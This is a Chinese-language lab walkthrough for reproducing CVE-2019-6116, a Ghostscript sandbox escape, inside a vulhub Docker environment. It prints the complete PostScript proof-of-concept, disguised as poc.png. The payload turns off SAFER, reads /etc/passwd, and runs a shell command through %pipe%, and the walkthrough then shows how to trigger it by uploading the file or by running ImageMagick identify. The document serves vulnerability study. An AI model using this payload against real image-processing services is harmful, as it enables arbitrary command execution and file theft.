2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
参考链接:
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1729&desc=2
- https://www.anquanke.com/post/id/170255
环境说明:
使用腾讯云轻量服务器安装vulhub
系统:ubuntu20.04
1、进入vulhub/ghostscript/CVE-2019-6116目录,使用命令启动漏洞环境:
docker-compose up -d
done表示环境已开启 。
2、使用docker-compose ps 查看漏洞存在的端口:
可以看到相关端口是8080。
3、通过访问your-ip:port可以看到有文件上传的路径:
4、下载poc:
访问poc地址:https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2019-6116/poc.png以下载poc.png,poc.png内容为:
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def/exploit {
(Stage 11: Exploitation...)=/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput% update
save restore% All done.
stop
} deferrordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile(Attempting to execute a shell command...)= flush
% run command
(%pipe%id > /tmp/success) (w) file closefile(All done.)=
quit
5、上传poc.png,点击“提交查询”,即可执行id > /tmp/success
:
通过命令docker-compose exec web bash查看
或直接通过命令测试poc:
docker run -it --rm --name uu -v `pwd`/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png